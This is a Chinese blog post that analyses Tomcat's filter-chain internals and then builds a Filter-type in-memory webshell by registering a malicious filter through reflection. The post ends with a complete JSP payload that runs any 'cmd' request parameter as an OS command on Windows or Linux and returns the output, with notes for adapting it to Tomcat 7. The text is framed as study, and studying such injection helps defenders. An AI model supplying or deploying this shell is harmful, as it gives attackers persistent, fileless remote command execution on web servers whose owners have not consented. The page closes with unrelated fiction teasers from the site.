Filter内存马学习

前言

在之前我们已经简单分析了Tomcat的整体结构以及源码的请求处理,再结合java web过滤器的知识点就实现Filter内存马时就找到了头绪。

Filter 流程分析

我们先把环境搭建起来,使用之前 Java Web 之过滤器的代码。

image.png

再回顾一下之前的Tomcat 8.5.37版本的请求处理。

image.png

我们这次重点看一下filterChain的过程。

init 方法

直接断点到init方法,debug调试。
我们找到org.apache.catalina.core.StandardContext里面的filterStart方法。

image.png

可以看出该部分代码大概是先遍历了filterDefs,而后传入创建的filterConfig中,再把filterConfig添加到filterConfigs。
debug信息可以方便调式出每个值的具体信息。

this 指StandardContext 这个对象
entry.getValue() 指的是FilterDef 值,里面存在filterName、filterClass 两个已有的值,还有filter空值
image.png

doFilter 方法

再次把断点到doFilter方法,debug调试。
我们找到org.apache.catalina.core.StandardWrapperValve#invoke里创建filterChain过滤器链关键代码。

image.png

此时context里面就存放着filterConfigs、filterDefs、FilterMaps

image.png

getParent 获取当前 Web应用StandardContext,然后从 Context 中获取到 filterMaps。
filterMap 包括主要存放了以及作用的url。

filterName 指过滤器的名字
urlPattern 指过滤器匹配的url

再向下就是遍历出filterMap,并判断其中urlPatterns和当前请求url是否匹配。

image.png

然后StandardContext寻找对应 filterName名称的 FilterConfig,并将 filterConfig 添加到 filterChain中。

image.png

filterConfig 包括

context 指当前StandardContext
filter 指过滤器对象
filterDef 指过滤器名称和过滤器类名
......

然后我们跟进addFilter函数中

image.png

首先遍历filters并判断是否存在,再将filterConfig 添加到 filters中。到这,filterChain 组装就完成了。
再次回到org.apache.catalina.core.StandardWrapperValve,调用 filterChain 的 doFilter 方法执行过滤器链。

image.png

在 doFilter 方法中会调用 internalDoFilter方法。

image.png

从filterConfig中取出filter对象,然后调用 filter 的 doFilter方法,从而调用自定义过滤器中的 doFilter 方法。

image.png

以下就是和过滤器有关的调用链的过程。

doFilter:24, CharacterEncodingFilter (com.itcast.web)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:200, StandardWrapperValve (org.apache.catalina.core)

那我们回顾一下整个过程,画一个简单的过程图。

image.png
  • 1、从请求的context中获取filterMaps找到filermap
  • 2、根据filer过滤器名称在FilterConfigs寻找对应名称的 FilterConfig
  • 3、找到filterConfig并添加到FilterChain
  • 4、filterChain 中调用 internalDoFilter 遍历获取FilterConfig ,然后从 FilterConfig 中获取 Filter,最后调用Filter的 doFilter 方法

内存马实现

那现在我们根据刚才的知识点和代码来动态注册一个filter型的内存马。
首先需要获取过滤器链的context,我们先获取当前ServletContext,观察一下结果。

image.png

发现我们想要的standardContext在applicationContext里面。
关于这几个context的区别参考 https://yzddmr6.com/posts/tomcat-context/
那通过反射获取standardContext

ServletContext servletContext = req.getServletContext();
//System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)context.get(servletContext);
//System.out.println(applicationContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext =  (StandardContext)context1.get(applicationContext);
//System.out.println(standardContext);

然后再init初始化过程里设计过滤器的关键两行代码

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);

经过我们的分析,可以暂时改写成

ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

然后filterDef创建,自然就是实例化FilterDef类,并设置过滤器名称和过滤器类名。记得还有设置过滤器

FilterDef filterDef = new FilterDef();
filterDef.setFilterClass(filterclass);
filterDef.setFilterName(filtername);
filterDef.setFilter(filter);

再回顾doFilter创建过滤器链的过程,首先是从context里获取filterMap,里面存在filtername和urlPattern 两个方法,自然也需要创建filterMap对象并设置这两个方法,代码为

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filtername);
filterMap.addURLPattern(urlPattern);

再下一步就是从找到 FilterConfig,而后执行doFilter方法。
到目前我们可以将以上的代码合并一下看看

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String filtername = "test";
        try {
            ServletContext servletContext = req.getServletContext();
            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            //System.out.println(applicationContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            //System.out.println(standardContext);

            FilterDef filterDef = new FilterDef();
            filterDef.setFilterClass(filterclass);
            filterDef.setFilterName(filtername);
            filterDef.setFilter(filter);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filtername);
            filterMap.addURLPattern("/*");

            ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext, filterDef);

            filterConfigs.put(filtername, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

在idea里主要是这三个地方报红了

image.png

filterclass 指的是过滤器类名,这里还没有创建filter类,所以报错了。那我们就对应创建一个。

Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

}

@Override
public void destroy() {

}
};

ApplicationFilterConfig 是无法实例化该对象,我们同样用反射来调用。

Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
System.out.println(constructor);
constructor.newInstance(standardContext,filterDef);

最后一个是filterConfigs也没有创建过。从上面doFilter过程分析来看,filterConfigs也在standardContext里面。我们验证一下

image.png

对应代码也就有了

Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map)configs.get(standardContext);

我们的代码雏形也就有了。

   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String filtername = "test";
        try {
            ServletContext servletContext = req.getServletContext();
            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            //System.out.println(applicationContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            //System.out.println(standardContext);

            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterConfigs = (Map)configs.get(standardContext);

            Filter filter = new Filter() {

                @Override
                public void init(FilterConfig filterConfig) throws ServletException {

                }

                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    filterChain.doFilter(servletRequest, servletResponse);
                }

                @Override
                public void destroy() {

                }
            };
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilterName(filtername);
            filterDef.setFilter(filter);
            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filtername);
            filterMap.addURLPattern("/*");

            Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            System.out.println(constructor);
            Object o = constructor.newInstance(standardContext, filterDef);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o;
            filterConfigs.put(filtername, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

虽然代码层没有错误了,但依然无法正常使用。因为还需要把filterDef、filterMap 添加进standardContext

standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);

再把我们想要的功能写在doFilter方法中,即可实现动态加载内存马。

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String filtername = "test";
        try {
            ServletContext servletContext = req.getServletContext();
            //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            //System.out.println(applicationContext);
            Field context1 = applicationContext.getClass().getDeclaredField("context");
            context1.setAccessible(true);
            StandardContext standardContext = (StandardContext) context1.get(applicationContext);
            //System.out.println(standardContext);

            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterConfigs = (Map)configs.get(standardContext);

            Filter filter = new Filter() {

                @Override
                public void init(FilterConfig filterConfig) throws ServletException {

                }

                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

                    if (servletRequest.getParameter("pass") != null) {
                        servletRequest.setCharacterEncoding("utf-8");
                        servletResponse.setCharacterEncoding("utf-8");
                        servletResponse.setContentType("text/html;charset=UTF-8");
                        servletResponse.getWriter().write("执行成功");
                        return;
                    }

                    filterChain.doFilter(servletRequest, servletResponse);
                }

                @Override
                public void destroy() {

                }
            };
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilterName(filtername);
            filterDef.setFilter(filter);
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.setFilterName(filtername);
            filterMap.addURLPattern("/*");
            standardContext.addFilterMap(filterMap);

            Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
            Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);

            Object o = constructor.newInstance(standardContext, filterDef);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o;
            filterConfigs.put(filtername, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

image.png

总结一下内存马实现的流程:
1、反射获取StandardContext
2、创建filter类
3、创建FilterDef类,设置FilterClass、FilterName以及filter对象
4、创建FilterMap类,设置FilterName和添加URLPattern
5、通过反射获取filterConfigs,反射调用ApplicationFilterConfig类的构造方法,传入StandardContext与filterDefs,存放到filterConfig中,最后put进去
6、验证filterMap、filterDef是否添加进standardContext

扩展

在此基础上,实现cmd内存马、冰蝎内存马就比较简单了。只需要将java代码改造为jsp代码,而后修改doFilter方法。
如cmd内存马,同时适配于windows和linux

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%--
  Created by IntelliJ IDEA.
  User: cseroad
  Date: 2022/10/13
  Time: 下午1:12
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%
    String filtername = "test";
    try {
        ServletContext servletContext = request.getServletContext();
        //System.out.println(servletContext);//ApplicationContextFacade是对ApplicationContext进行的封装
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
        //System.out.println(applicationContext);
        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        StandardContext standardContext = (StandardContext) context1.get(applicationContext);
        //System.out.println(standardContext);

        Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
        configs.setAccessible(true);
        Map filterConfigs = (Map) configs.get(standardContext);

        Filter filter = new Filter() {

            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                if (servletRequest.getParameter("cmd") != null) {
                    servletRequest.setCharacterEncoding("utf-8");
                    servletResponse.setCharacterEncoding("utf-8");
                    servletResponse.setContentType("text/html;charset=UTF-8");
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }


                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }
        };
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilterName(filtername);
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filtername);
        filterMap.addURLPattern("/cseroad/*");
        standardContext.addFilterMap(filterMap);

        Class<?> aClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
        Constructor constructor = aClass.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(standardContext, filterDef);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) o;
        filterConfigs.put(filtername, filterConfig);

        out.print("注入成功!");


    } catch (Exception e) {
        e.printStackTrace();
    }


%>
</body>
</html>
image.png

但只适配于tomcat 8版本以上,是因为tomcat 7 的包也发生了一点变化

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>

<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"  %>

再次修改成功在tomcat 7.0.107上运行。

image.png

总结

这里以创建出Filter内存马为例,仔细分析了Filter过滤器的构造过程。在反复推敲Filter内存马代码时,不得不服气研究者对java代码的理解。

参考资料

https://cn.4xpl0r3r.com/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/JavaWeb-%E5%86%85%E5%AD%98%E9%A9%AC%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/
http://wjlshare.com/archives/1529
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,496评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,407评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,632评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,180评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,198评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,165评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,052评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,910评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,324评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,542评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,711评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,424评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,017评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,668评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,823评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,722评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,611评论 2 353

推荐阅读更多精彩内容